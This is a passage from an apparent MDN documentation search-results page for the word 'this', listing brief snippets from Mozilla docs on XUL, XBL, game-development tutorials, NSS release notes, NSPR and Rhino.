...a relative pathname is appended to the registry name of the package as specified by the package parameter to the initinstall method.
this parameter can also be null, in which case the xpisourcepath parameter is used as a relative pathname.note that the registry pathname is not the location of the software on the computer; it is the location of information about the software inside the client version registry.
...for variants of
this method without a version argument the value from initinstall will be used.
...And 2 more matches
WinProfile Object - Archive of obsolete content
parts of
this page show the use of the xpinstall api.
... the majority of
this api is now deprecated and as of gecko 1.9 no longer available.
...winprofile (windows only) windows developers use
this object to manipulate the content of a windows .ini file.
...And 2 more matches
WinRegValue - Archive of obsolete content
syntax winregvalue ( int datatype, byte[] regdata); parameters the winregvalue constructor takes the following parameter: datatype an integer indicating the type of the data encapsulated by
this object.
... returns a new winregvalue object, with the data members type and data set to the values passed to
this constructor.
... description advanced windows developers can use
this object to manipulate non-string values for the windows registry.
...And 2 more matches
XTech 2005 Presentations - Archive of obsolete content
directions of the mozilla rdf engine: website scripting, standards conformance and perfomance - axel hecht
this presentation showed new developments in the mozilla rdf engine.
...to realize
this potential in web applications, browsers must expose rich new graphics apis to web content.
... the mozilla project will meet
this challenge with two major new features to be delivered in firefox 1.1: integrated svg and a new canvas html element.
...And 2 more matches
XTech 2006 Presentations - Archive of obsolete content
work on
this compiler and the new features of js2 is presented by the inventor of javascript.
...
this talk demonstrates how firefox will incorporate microsummaries into its ui, starting with bookmark labels.
... svg and canvas: graphics for web apps - vladimir vukićević
this presentation examines some of the strengths and weaknesses of the html 'canvas' and svg for adding rich graphical capabilities to web applications.
...And 2 more matches
browser.type - Archive of obsolete content
if
this is not set, the loaded document has the same access as the window containing the browser.
...
this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and preventing documents from inheriting the principal of the parent document.
...for instance, in a web browser,
this would be the element that displays the web page.
...And 2 more matches
panel.flip - Archive of obsolete content
for example, if the menu doesn't have room to open downward, it flips to open upward instead;
this is a vertical flip.
... horizontal flipping doesn't normally happen, since
this would cause menus to open in strange places.
...
this attribute, set to both, permits that behavior.
...And 2 more matches
panel.type - Archive of obsolete content
should be one of the following: autocomplete specify
this for a panel that provides a tree for an autocomplete element.
... autocomplete-richlistbox specify
this for a panel that provides a richlistbox for an autocomplete element.
... arrow specify
this for a panel that provides an arrow pointing at its anchor.
...And 2 more matches
reserved - Archive of obsolete content
« xul reference home reserved type: string
this attribute applies to a command element.
... setting
this attribute to "true" indicates that the command is reserved for chrome code and is not available for use in the content.
...
this means that, to execute these commands, key events won't be passed to content, and event listeners registered for them in content will not be executed.
...And 2 more matches
International characters in XUL JavaScript - Archive of obsolete content
this means that such script files can use any character from virtually any language of the world.
... for example, they can contain a line: var text = "ein schönes beispiel eines mehrsprachigen textes: 日本語";
this mixes german and japanese characters.
...by default
this will use utf-8, which can represent virtually all characters in the world.
...And 2 more matches
Additional Install Features - Archive of obsolete content
« previous
this section describes some more specifics of installers.
...if
this file does not exist, an error will occur during the installation.
...
this will occur if a file or directory cannot be found, there is insufficient disk space or for a number of other reasons.
...And 2 more matches
XBL Inheritance - Archive of obsolete content
« previousnext » in
this section, we'll look at how to extend existing xbl definitions.
...one way to create
this is to duplicate the existing xbl code for buttons.
...example 1 : source <binding id="textboxwithhttp" extends="chrome://global/content/bindings/textbox.xml#textbox"> <handlers> <handler event="keypress" keycode="vk_f4">
this.value="http://www"+value; </handler> </handlers> </binding> the xbl here extends from the xul textbox element.
...And 2 more matches
Using nsIXULAppInfo - Archive of obsolete content
this is useful, for example, for extensions that support several mozilla-based applications or several versions of a single application.
...
this is not useful for scripts on webpages, which should continue using the navigator object when it's not possible to rely on feature-detection.
... getting nsixulappinfo to get a component implementing nsixulappinfo use
this code: var appinfo = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulappinfo); (for explanation see
this creating xpcom article.) getting application information after you obtained the app info component, you can read its properties to get the application's id, human-readable name, version, platform version, etc.
...And 2 more matches
listheader - Archive of obsolete content
if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...to enable the element, leave
this attribute out entirely.
...And 2 more matches
notification - Archive of obsolete content
attributes image, label, priority, persistence, type, value properties accessibletype, control, image, label, priority, persistence, type, value methods close examples <notification label="
this is a warning"/> attributes image type: uri the uri of the image to appear on the element.
... if
this attribute is empty or left out, no image appears.
...if
this is left out, no text appears.
...And 2 more matches
scrollbox - Archive of obsolete content
this may also be used with any other container element.
... <vbox> <label value="01 four score and seven years ago "/> <label value="02 our fathers brought forth on "/> <label value="03
this continent, a new nation, "/> <label value="04 conceived in liberty, and "/> <label value="05 dedicated to the proposition "/> <label value="06 that all men are created equal."/> </vbox> the next bunch of labels is similar, but if the container doesn't give enough room for it, scroll bars will sprout out of nowhere and allow the user to scroll around the big content in the small view space...
... <vbox flex="1" style="overflow:auto"> <label value="01 four score and seven years ago "/> <label value="02 our fathers brought forth on "/> <label value="03
this continent, a new nation, "/> <label value="04 conceived in liberty, and "/> <label value="05 dedicated to the proposition "/> <label value="06 that all men are created equal."/> </vbox> the flex="1" above may or may not be needed, or even desired.
...And 2 more matches
XULRunner FAQ - Archive of obsolete content
this page is intended to answer frequently asked questions and correct common misconceptions about xulrunner.
...it is not meant to be a full-featured runtime;
this allows xulrunner to maintain a smaller footprint and simpler deployment strategy than generic full-featured runtimes.
... there is no intention to do
this for official release versions of firefox.
...And 2 more matches
Make your xulrunner app match the system locale - Archive of obsolete content
this article is going to assume a lot of knowledge of xpcom and will be written for someone using python, but the ideas should be adaptable.
... also,
this may not be the proper way to do
this and it may not work for you in all cases.
... please update if there are more correct ways to do
this.
...And 2 more matches
2006-10-27 - Archive of obsolete content
announcements there are no announcements
this week.
...cédric wanted to know if the release directory should be closed before a major release to avoid
this kind of thing to happen.
...paul suggested that the best way to deal with
this would be to ask people to wait, and let them know that they're degrading their user experience.
...And 2 more matches
NPN_SetValue - Archive of obsolete content
this call is used to inform the browser of variable information controlled by the plugin.
...if
this is not desired, the plugin can instruct the browser not to unload the dll and not to call np_shutdown when the page is left.
... in such a case all
this will be done on the browser shutdown.
...And 2 more matches
Digital Signatures - Archive of obsolete content
encryption and decryption address the problem of eavesdropping, one of the three internet security issues mentioned at the beginning of
this document.
...
this section describes how public-key cryptography addresses the problem of tampering.
...(information about the hashing algorithm used is sent with the digital signature, although
this isn't shown in the figure.) finally, the receiving software compares the new hash against the original hash.
...And 2 more matches
Encryption and Decryption - Archive of obsolete content
therefore,
this section describes the rsa approach to public-key encryption.
... the scheme shown in figure 2 lets you freely distribute a public key, and only you will be able to read data encrypted using
this key.
...
this is the approach used by the ssl protocol.
...And 2 more matches
Tamarin Tracing Build Documentation - Archive of obsolete content
in the xcode project,
this is the debug_debugger and release_debugger configurations.
...push any changes that you want to test into
this repository.
...an email with the build status will be sent to
this address when a builder completes whether it is passes or fails.
...And 2 more matches
Using Web Standards in your Web Pages - Archive of obsolete content
the problem lies with designers and developers chained to the browser-quirk-oriented markup of the 1990s-often because they don't realize it is possible to support current standards while accommodating old browsers." -web standards project
this article provides an overview of the process for upgrading the content of your web pages to conform to the world wide web consortium (w3c) web standards.
...every proposed w3c web standards replacement in
this article is working without a problem in modern browsers like msie 7, firefox 2, opera 9, safari 3, konqueror 3.5+, icab 4, etc.
... the next-to-last section, summary of changes, outlines all the changes described in
this article.
...And 2 more matches
::-ms-check - Archive of obsolete content
this pseudo-element is supported only in internet explorer and microsoft edge.
...left padding-right padding-top transform transform-origin visibility width syntax ::-ms-check example html <form> <label for="redbutton">red</label> <input type="radio" id="redbutton"><br> <label for="greencheckbox">green</label> <input type="checkbox" id="greencheckbox"> </form> css input, label { display: inline; } input[type=radio]::-ms-check { border-color: red; /*
this will make the border red when the button is checked.
... */ color: red; /*
this will make the circle red when the button is checked.
...And 2 more matches
Date.prototype.toLocaleFormat() - Archive of obsolete content
this feature has been removed and will no longer work in firefox 58+.
...you might consider using some of the more general tolocale* methods of the date object or doing your own custom localization of the date to be displayed using some of the get* methods of the date object instead of using
this method.
... examples using tolocaleformat() var today = new date(); var date = today.tolocaleformat('%a, %b %e, %y'); in
this example, tolocaleformat() returns a string such as "wednesday, october 3, 2007".
...And 2 more matches
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
this page needs to be updated to reflect current changes.
...
this year, the es2019 specification will be released and es2020 is the current ecmascript draft specification.
...ed capture groups (not yet implemented; in other browsers) ecmascript 2019 array.flat() (firefox 62) array.flatmap() (firefox 62) object.fromentries() (firefox 63) string.trimstart() and string.trimend() (firefox 61) optional catch binding (firefox 58) function.tostring() revision (firefox 54) symbol.description (firefox 63) well-formed json.stringify() (firefox 64) ecmascript 2020
this is the current es.next version.
...And 2 more matches
Object.prototype.watch() - Archive of obsolete content
description watches for assignment to a property named prop in
this object, calling handler(prop, oldval, newval) whenever prop is set and storing the return value in that property.
... the javascript debugger has functionality similar to that provided by
this method, as well as other debugging options.
... examples using watch and unwatch const o = { p: 1 }; o.watch('p', (id, oldval, newval) => { console.log('o.' + id + ' changed from ' + oldval + ' to ' + newval); return newval; }); o.p = 2; o.p = 3; delete o.p; o.p = 4; o.unwatch('p'); o.p = 5;
this script displays the following: o.p changed from 1 to 2 o.p changed from 2 to 3 o.p changed from undefined to 4 using watch() to validate an object's properties you can use watch to test any assignment to an object's properties.
...And 2 more matches
Window.importDialog() - Archive of obsolete content
non-standard
this feature is non-standard and is not on a standards track.
... obsolete
this feature is obsolete.
...
this function was only available in the original, xul-based version of firefox for android, which is no longer supported; for that reason,
this function is obsolete and should never be used.
...And 2 more matches
Troubleshooting XForms Forms - Archive of obsolete content
introduction the idea of
this page is to collect some solutions to some of the common errors typically made when creating an xforms form.
... always do
this first make sure that you are running the latest release of the extension.
...so with an instance like
this: <xf:instance id="ins2" xmlns=""> <data> <value>42</value> </data> </xf:instance> you should use <output ref="instance('ins2')/value"/> to show the contents of the value element.
...And 2 more matches
XForms Submit Element - Archive of obsolete content
introduction
this form control initiates a submission.
...upon receiving a domactivate event,
this form control dispatches a xforms-submit event to the submission element (see the spec) specified in its submission attibute.
... attributes ui common appearance - the value of
this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent
this control.
...And 2 more matches
Using the DOM File API in chrome code - Extensions
this only works from privileged code, so web content can't do it.
...
this protects users from the inherent security risks associated with allowing web content free access to the contents of their disks.
... in bootstrap scope,
this must be imported in like so: cu.importglobalproperties( [ "file" ] ) accessing a file by hard-coded pathname to reference a file by its path, you can simply use a string literal: var file = file.createfromfilename("path/to/some/file"); cross platform note: however using hard-coded paths raises cross platform issues since it uses a platform-dependent path separator (here "/").
...And 2 more matches
WebVR — Virtual Reality for the Web - Game development
this article introduced webvr from the perspective of its use in games.
...there are many devices to chose from: desktop ones like oculus rift or htc vive, through consoles with playstation vr (which admittedly doesn't support webvr at
this time), to mobile experiences like gear vr or google cardboard.
...es) { for (var i = 0; i < devices.length; ++i) { if (devices[i] instanceof hmdvrdevice) { ghmd = devices[i]; break; } } if (ghmd) { for (var i = 0; i < devices.length; ++i) { if (devices[i] instanceof positionsensorvrdevice && devices[i].hardwareunitid === ghmd.hardwareunitid) { gpositionsensor = devices[i]; break; } } } });
this code will loop through the available devices and assign proper sensors to the headsets — the first devices array contains the connected devices, and a check is done to find the hmdvrdevice, and assign it to the ghmd variable — using
this you can set up the scene, getting the eye parameters, setting the field of view, etc.
...And 2 more matches
Techniques for game development - Game development
this page lists essential core techniques for anyone wanting to develop games using open web technologies.
...
this article explains how.
...
this article explains what
this can do for you, and shows how to use libraries that make
this easy.
...And 2 more matches
Track the score and win - Game development
« previousnext »
this is the 8th step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-canvas-workshop/lesson8.html.
... b.status = 0; score++; if(score == brickrowcount*brickcolumncount) { alert("you win, congratulations!"); document.location.reload(); clearinterval(interval); // needed for chrome to end game } } } } } } thanks to
this, your users can actually win the game when they destroy all the bricks, which is quite important when it comes to games.
...And 2 more matches
Initialize the framework - Game development
« previousnext »
this is the first of 16 tutorials to learn how to use gamedev phaser.
... after completing
this tutorial you can find the source code for
this section at gamedev-phaser-content-kit/demos/lesson01.html.
...
this can be done using html — the phaser framework will generate the required <canvas> element.
...And 2 more matches
Move the ball - Game development
« previousnext »
this is the 4th step out of 16 of the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson04.html.
...
this article covers how to do just that.
...And 2 more matches
Visual JS GE - Game development
this is a node.js app for local use.
...
this tool will create visual.js in the starter/ directory along with all your game objects.
...
this is done using server_instance/res.js.
...And 2 more matches
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
this results in a frustrating, sluggish (or worse) user experience.
...
this is done using technologies such as web workers, which can be used to spin off a sub-program which runs concurrently with the main thread in a thread of its own.
...
this allows slow, complex, or long-running tasks to be executed independently of the main thread, preserving the overall performance of the site or app—as well as that of the browser overall.
...And 2 more matches
Test your skills: The Cascade - Learn web development
the aim of
this task is to help you check your understanding of some of the values and units that we looked at in the lesson on the cascade and inheritance.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... task one in
this task, you need to use one of the special values we looked at in the controlling inheritance section to write a declaration in a new rule that will reset the background color back to white, without using an actual color value.
...And 2 more matches
Creating fancy letterheaded paper - Learn web development
in
this assessment we'll challenge you to create an online template to achieve such a look.
... prerequisites: before attempting
this assessment you should have already worked through all the articles in
this module.
... starting point to get
this assessment started, you should: make local copies of the html and css — save them as index.html and style.css in a new directory.
...And 2 more matches
Test your skills: Overflow - Learn web development
if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for
this task to work in your own editor or in an online editor.
... task two in
this task an image is in the box, it is bigger than the dimensions of the box so overflows visibly.
...And 2 more matches
Attribute selectors - Learn web development
this lesson will show you how to use these very useful selectors.
...
this matches all of the list items except the first one.
...
this flag tells the browser to match ascii characters case-insensitively.
...And 2 more matches
Front-end web developer - Learn web development
prerequisites you don't need any previous knowledge to start
this course.
... there are no assessments in
this part of the course.
... modules web forms (40–50 hours) making the web work for everyone time to complete: 60–75 hours prerequisites it is a good idea to know html, css, and javascript before working through
this section.
...And 2 more matches
HTML Tables - Learn web development
a very common task in html is structuring tabular data, and it has a number of elements and attributes for just
this purpose.
...
this module takes you through all you need to know about structuring tabular data using html.
... get started prerequisites before starting
this module, you should already have covered the basics of html — see introduction to html.
...And 2 more matches
Perceived performance - Learn web development
this article provides a brief introduction to perceived performance, looking at user perceptions, and what objective tools can be used to measure that which is subjective.
... first paint is reported by the browser and provides the time, in ms, of when the page starts changing; but
this change can be a simple background color update or something even less noticable.
...for
this, time to interactive, is a good metric; it is the moment when the last long task of the load process finishes and the ui is available for user interaction with delay.
...And 2 more matches
Understanding client-side web development tools - Learn web development
client-side tooling can be intimidating, but
this series of articles aims to illustrate the purpose of some of the most common client-side tool types, explain the tools you can chain together, how to install them using package managers, and control them using the command line.
...client-side tooling overview in
this article we provide an overview of modern web tooling, what kinds of tools are available and where you’ll meet them in the lifecycle of web app development, and how to find help with individual tools.
...
this article provides an introduction to the terminal, the essential commands you'll need to enter into it, how to chain commands together, and how to add your own command line interface (cli) tools.
...And 2 more matches
ChromeWorkers and the Chrome worker loader
to complement the open web worker functionality, mozilla has introduced the chromeworker interface, which provides
this capability within application chrome.
...
this documentation covers chrome workers and the chrome worker module loader.
... note: if you're contributing content to
this section, create subpages using the "new sub-page" option in the "
this page" menu.
...And 2 more matches
Information for Assistive Technology Vendors
please read
this page if you're interested in an alternative accessible browser.
... keyboard documentation
this lists mozilla's keyboard docs in a single long document.
...
this makes it possible for the vendors of windows accessibility software, such as screen readers, voice dictation packages and screen magnifiers to provide support for mozilla.
...And 2 more matches
Browser chrome tests
running the browser chrome tests to run mochitest, first build mozilla with your changes; then run ./mach mochitest -f browser
this will launch your build and open a "browser chrome tests" window, and report the results in the ui and to stdout.
...a simple test would look like
this: function test() { ok(gbrowser, "gbrowser exists"); is(gbrowser.tabs.length, 1, "browser has 1 tab"); } the test() function is invoked by the test harness when the test is run.
...files that don't match
this pattern will be ignored by the test harness.
...And 2 more matches
Capturing a minidump
this page describes how to capture these minidumps on windows, to permit better debugging.
...for
this reason, you may prefer to generate minidumps against a clean profile where possible.
...at
this point, you should type ".dump /ma c:\temp\firefoxcrash.dmp" -- without the quotes, but don't forget the dot at the beginning.
...And 2 more matches
Debugging a hang on OS X (Archived)
warning: the content of
this article may be out of date.
...
this article contains historical information about older versions of os x.
... if you find a hang in an application, it is very useful for the developer to know where in the code
this hang happens, especially if he or she can't reproduce it.
...And 2 more matches
Building Firefox with Debug Symbols
this is enabled by default so unless you have explcitly disabled it your build you should include symbols.
... ac_add_options --enable-debug-symbols
this can optionally take an argument for the type of symbols that need to be produced (like "-g3").
...
this value takes precedence over the flags set in moz_debug_flags note that
this will override the values provided for cflags and cxxflags.
...And 2 more matches
Reviewer Checklist
this article provides a list of best practices for your patch content that reviewers will check for or require.
...commonly
this results in "part 0" of a bug, which is "tidy things up to make the fix easier to write and review".
... trailing whitespace (git diff and splinter view both highlight
this, as does hg with the color extension enabled).
...And 2 more matches
Limitations of frame scripts
this article lists the most important of these apis.
...
this is one of a pair of articles: the other one lists limitations of chrome scripts.
...it looks something like
this: window.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsiwebnavigation) .queryinterface(ci.nsidocshelltreeitem) .roottreeitem .queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidomwindow);
this will no longer work.
...And 2 more matches
Limitations of frame scripts
this article lists the most important of these apis.
...even if
this is possible, you should not do it and may expect that it could stop working at any time.
...it looks something like
this: window.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsiwebnavigation) .queryinterface(ci.nsidocshelltreeitem) .roottreeitem .queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidomwindow);
this will no longer work.
...And 2 more matches
mozbrowsercontextmenu
non-standard
this feature is non-standard and is not on a standards track.
...
this event can be used to control what will appear in the menu.
...in the case of an image or video context menu,
this is the src of the image or video clicked on to get the context menu.
...And 2 more matches
Gecko's "Almost Standards" Mode
this is added to the long-standing "quirks" and "standards" modes.
... a common case that
this affects is the layout of images inside table cells.
...
this means that sliced-images-in-tables layouts are less likely to fall apart in gecko-based browsers based on the rendering engine found in mozilla 1.0.1 or later when in either "quirks" or "almost standards" mode.
...And 2 more matches
Widget Wrappers
for xul-provided widgets,
this is always 'custom' provider the provider type of the widget, id est one of provider_api or provider_xul instances an array of all instances (single window wrappers) of the widget.
...
this array is not live.
...nb:
this property is writable, and will toggle all the widgets' nodes' disabled states label for api-provided widgets, the label of the widget tooltiptext for api-provided widgets, the tooltip of the widget showinprivatebrowsing for api-provided widgets, whether the widget is visible in private browsing single wrapper properties all of a wrapper's properties are read-only unless otherwise indicated.
...And 2 more matches
Dict.jsm
introduced in firefox 5,
this is now obsolete and has been removed in firefox 40: use es2015 map.
... return value a newly created dictionary object implementing the methods described in
this article.
...
this will be "{}" for an empty dictionary.
...And 2 more matches
Http.jsm
httprequest supports the following parameters: name meaning headers an array of headers postdata
this can be: a string: send it as is an array of parameters: encode as form values null/undefined: no post data.
... method get, post or put (
this is automatically set if postdata exists).
...in
this case, the content type may be set through the headers parameter.
...And 2 more matches
OSFile.jsm
this api is intended to replace, in time, most xpcom-based manipulation of files (nsifile, subsets of nsiioservice, etc.) by javascript code.
... if the operation is called on the main thread,
this means that the whole user experience is stuck for several seconds, which is quite bad.
...
this is critical because some platforms have extremely slow storage (e.g.
...And 2 more matches
PerfMeasurement.jsm
before you can use
this module, you need to import it into your scope: components.utils.import("resource://gre/modules/perfmeasurement.jsm") see measuring performance using the perfmeasurement.jsm code module for details on how to use
this api.
...
this lets you accumulate measurements over multiple passes through code that you want to analyze.
... variable type description eventsmeasured eventmask a bit mask of the event types recorded;
this can differ from the events requested if the platform doesn't support all of the event types you specified when creating the perfmeasurement object.
...And 2 more matches
openLocationLastURL.jsm
this component has been removed from the platform in firefox 29.
...to use
this, you first need to import the code module into your javascript scope: components.utils.import("resource:///modules/openlocationlasturl.jsm"); once you've imported the module, you can then use the openlocationlasturl object it exports.
...
this object lets you fetch and change the url that is placed in the "open location" dialog box when it opens.
...And 2 more matches
Localizing extension descriptions
this article provides details on how to go about localizing the descriptions of mozilla add-ons, as well as for other metadata about your add-on.
...the following example demonstrates
this (most normal manifest properties have been removed for brevity): <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>tabsidebar@blueprintit.co.uk</em:id> <em:localized> <description> <em:locale>de-de</em:locale> <em:name>tab si...
...-nl</em:locale> <em:name>tab sidebar</em:name> <em:description>laat voorbeeldweergaven van uw tabbladen in de zijbalk zien.</em:description> </description> </em:localized> <em:name>tab sidebar</em:name> <em:description>displays previews of your tabs in your sidebar.</em:description> </description> </rdf> all of the metadata mentioned below can be localized in
this way.
...And 2 more matches
Localization quick start guide
this guide is filled with all of the basic, technical information you need to get involved in the mozilla l10n program.
...as you near the end of
this guide, you should be able to make a change to firefox in your local setting and then see that change in the firefox interface.
... in closing, when you finish
this guide, you will have all the tools necessary to start contributing!
...And 2 more matches
What every Mozilla translator should know
translate the mozilla web or mozilla.dev.l10n.web, we moved announcements and discussions about the translation of the mozilla web pages to
this group.
...all the content of the trunk is copied to
this new branch so that the developing work is done in two (or more) parallel places: the generic trunk and the version oriented branch(es).
... bugzilla, the bug-tracking system you do need an account in bugzilla you should configure the account to watch the following addresses: firefoxl10n@hotmail.com calendar-l10n@mozilla.bugs (specific for calendar related bugs)
this way you will receive mail for bugs affecting many or even all locales.
...And 2 more matches
MathML Demo: <mo> - operator, fence, separator, or accent
this growth is continuous and symmetric.
...
this is especially important for vertical arrows used as fences.
... [ a b c d ] [ a b c d ] we want the row vector to typeset at the same level as the top row of the column vector, but
this is difficult to achieve.
...And 2 more matches
mozilla::CondVar
wait() nsresult wait( in printervaltime interval = pr_interval_no_timeout ); wait on
this condvar until it is notifyed.
... notify() nsresult notify(void); notify one thread waiting on
this condvar.
... notifyall() nsresult notifyall(void); notify all threads waiting on
this condvar.
...And 2 more matches
mozilla::Monitor
wait() nsresult wait( in printervaltime interval = pr_interval_no_timeout ); wait on
this monitor until it is notifyed.
... notify() nsresult notify(void); notify one thread waiting on
this monitor.
... notifyall() nsresult notifyall(void); notify all threads waiting on
this monitor.
...And 2 more matches
Profile Manager
by default,
this means it tracks a list of firefox applications that are installed on your system, and a list of profiles for use by firefox.
... the default property indicates that
this version of firefox will be used with profiles that don't have a specific application version associated with them.
... a dialog will appear that allows you to specify the profile's name, and optionally the profile's path, and the version of firefox (or other application) that will be used with
this profile: launching firefox with a profile to launch firefox with a specific profile, select the profile in the main window, and hit the "start firefox" button: firefox will be launched with that profile, and profile manager will terminate.
...And 2 more matches
NSPR Poll Method
this technical note documents the poll method of prfiledesc.
...
this requirement may be relaxed in a future nspr release.
... to remain compatible with
this potential semantic change, nspr clients should only use *out_flags as described in the how to use the poll method section below.
...And 2 more matches
PR_CreateThread
returning from
this function is the only way to terminate a thread.
...nspr does not assess the type or the validity of the value passed in
this parameter.
...however, nspr may override
this preference if necessary.
...And 2 more matches
PR_InitializeNetAddr
this must be pr_ipaddrnull, pr_ipaddrany, or pr_ipaddrloopback.
...
this may occur, for example, if the value of val is not within the ranges defined by prnetaddrvalue.
...
this allows the caller to change the network address' port number assignment without affecting the host address.
...And 2 more matches
4.3.1 Release Notes
new in jss 4.3.1 a list of bug fixes and enhancement requests were implemented in
this release can be obtained by running
this bugzilla query jss 4.3.1 requires nss 3.12.5 or higher.
... ssl3 & tls renegotiation vulnerability see cve-2009-3555 and us-cert vu#120541 for more information about
this security vulnerability.
...
this will cause programs that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until such time as a new safe renegotiation scheme is standardized by the ietf.
...And 2 more matches
NSS 3.14.1 release notes
note that
this code is used primarily for purposes of testing.
...
this regression only affected applications that initialize nss via the nss_nodb_init function.
... nss 3.14.1 includes the complete fix for
this issue.
...And 2 more matches
NSS 3.14 release notes
because the test coverage and interoperability testing is not yet at the same level as other nss code,
this feature should be considered "experimental" and may contain bugs.
...applications may use
this callback to inform libpkix whether or not candidate certificate chains meet application-specific security policies, allowing libpkix to continue discovering certificate paths until it can find a chain that satisfies the policies.
...
this is needed for compatibility with iis.
...And 2 more matches
NSS 3.15 release notes
tls client applications may enable
this via a call to ssl_optionsetdefault(ssl_enable_ocsp_stapling, pr_true); added function secitem_reallocitemv2.
...
this is necessary for aes-gcm.
...
this is necessary for aes-gcm.
...And 2 more matches
NSS 3.16.2.1 release notes
new in nss 3.16.2.1 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix a bug that caused nss to accept forged rsa signatures.
... a new symbol, _sgn_verifypkcs1digestinfo is exported in
this release.
...And 2 more matches
NSS 3.16.5 release notes
new in nss 3.16.5 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix a bug that caused nss to accept forged rsa signatures.
... a new symbol, _sgn_verifypkcs1digestinfo is exported in
this release.
...And 2 more matches
NSS 3.17.1 release notes
new in nss 3.17.1
this patch release adds new functionality and fixes a bug that caused nss to accept forged rsa signatures.
... a new symbol, _sgn_verifypkcs1digestinfo is exported in
this release.
... as with all exported nss symbols that have a leading underscore '_',
this is an internal symbol for nss use only.
...And 2 more matches
NSS 3.19.1 release notes
new in nss 3.19.1 new functionality no new functionality is introduced in
this release.
...
this patch release includes a fix for the recently published logjam attack.
...
this affects the key strength values that are reported by ssl_getchannelinfo.
...And 2 more matches
NSS 3.19.2 release notes
nss 3.19.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_rtm/src/ new in nss 3.19.2 new functionality no new functionality is introduced in
this release.
...
this was done as part of a security fix for bug 1138554 / cve-2015-4000.
...however,
this change in behaviour unintentionally broke existing nss applications that need to generate or use such keys, via apis such as seckey_creatersaprivatekey or seckey_createdhprivatekey.
...And 2 more matches
NSS 3.27.2 Release Notes
nss 3.27.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_27_2_rtm/src/ new in nss 3.27.2 new functionality no new functionality is introduced in
this release.
...
this is a patch release to address a memory leak in the ssl_settrustanchors() function.
... if
this function is not used, nss will include the distinguished names for all trust anchors installed in the database.
...And 2 more matches
NSS 3.37 release notes
this issue was found by oss fuzz.
...
this alternative implementation is selected at build time by defining the seed_only_dev_urandom symbol.
... (the classic implementation for rng seeding on the linux/unix platform, which may use additional sources for the default seeding, is still available and will be used if seed_only_dev_urandom is undefined.) with nss 3.37,
this alternative implementation for linux/unix can be selected in "make" builds by defining the environment variable nss_seed_only_dev_urandom.
...And 2 more matches
NSS Developer Tutorial
unfortunately,
this can be a source of integer overflow bugs on 64-bit systems.
...please update
this list if you do.
...ask on nss-dev@ if you think
this is restrictive, or if you wish to prohibit a specific feature.
...And 2 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
nss sample code 3: basic encryption and macing
this example program demonstrates how to encrypt and mac a file.
...uces\n", "note :"); fprintf(stderr, "%-7s <ipfilename>.enc and <ipfilename>.header as intermediate output files.\n\n", ""); fprintf(stderr, "%-7s for decrypt, it takes <ipfilename>.enc and <ipfilename>.header\n", ""); fprintf(stderr, "%-7s as input files and produces <opfilename> as a final output file.\n\n", ""); exit(-1); } /*
this source code form is subject to the terms of the mozilla public * license, v.
...if a copy of the mpl was not distributed with
this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
...And 2 more matches
NSS Sample Code sample4
-1 -2 -5 * * there are many ways to setup a public/private key to use -
this * example shows one of them.
... * *
this example does not do any padding.
... */ #include "nss.h" #include "pk11pub.h" /*
this callback is responsible for returning the password to the nss * key database.
...And 2 more matches
nss tech note4
pulling certificate extension information out of ssl certificates nss technical note: 4 note:
this document contains code snippets that focus on essential aspects of the task and often do not illustrate all the cleanup that needs to be done.
... also,
this document does not attempt to be an exhaustive survey of all possible ways to do a certain task; it merely tries to show a certain way.
... include these files #include "ssl.h" #include "cert.h" get the handle of the cert associated with an ssl connection certcertificate* cert = ssl_peercertificate(prfiledesc *fd); if ssl client,
this will get you the server's cert handle; if ssl server,
this will get you the client's cert handle if client auth is enabled certcertificate* cert = ssl_localcertificate(prfiledesc *fd); if ssl client,
this will get you the client cert's handle, if client auth happened if ssl server,
this will get you the server's cert handle don't forget to clean up the cert handle when you're done with it void cert_destroycertificate(certcertifica...
...And 2 more matches
Necko FAQ
what do i need to build
this library?
... how does psm fit into
this picture?
... todo when is the next stable release of
this library going to be available?
...And 2 more matches
Multithreading in Necko
warning: the content of
this article may be out of date.
...
this keeps simple protocol handlers simple :-) more complex protocol handlers (eg.
...
this thread is controlled by the nssockettransportservice.
...And 2 more matches
Installing Pork
you will probably want a separate gcc for
this so you don't have to modify your standard system gcc.
... building a 32-bit mcpp on a 64-bit system
this is dark magic, and i hope i've got it right.
...note: once you do
this, you can only use
this version of gcc in -m32 mode.
...And 2 more matches
Rhino license
* * redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * - redistributions of source code must retain the above copyright * notice,
this list of conditions and the following disclaimer.
... * * - redistributions in binary form must reproduce the above copyright * notice,
this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution.
... * * - neither the name of sun microsystems nor the names of its * contributors may be used to endorse or promote products derived * from
this software without specific prior written permission.
...And 2 more matches
The JavaScript Runtime
execution proceeds by evaluating
this compiled form using support routines in rhino.
...(
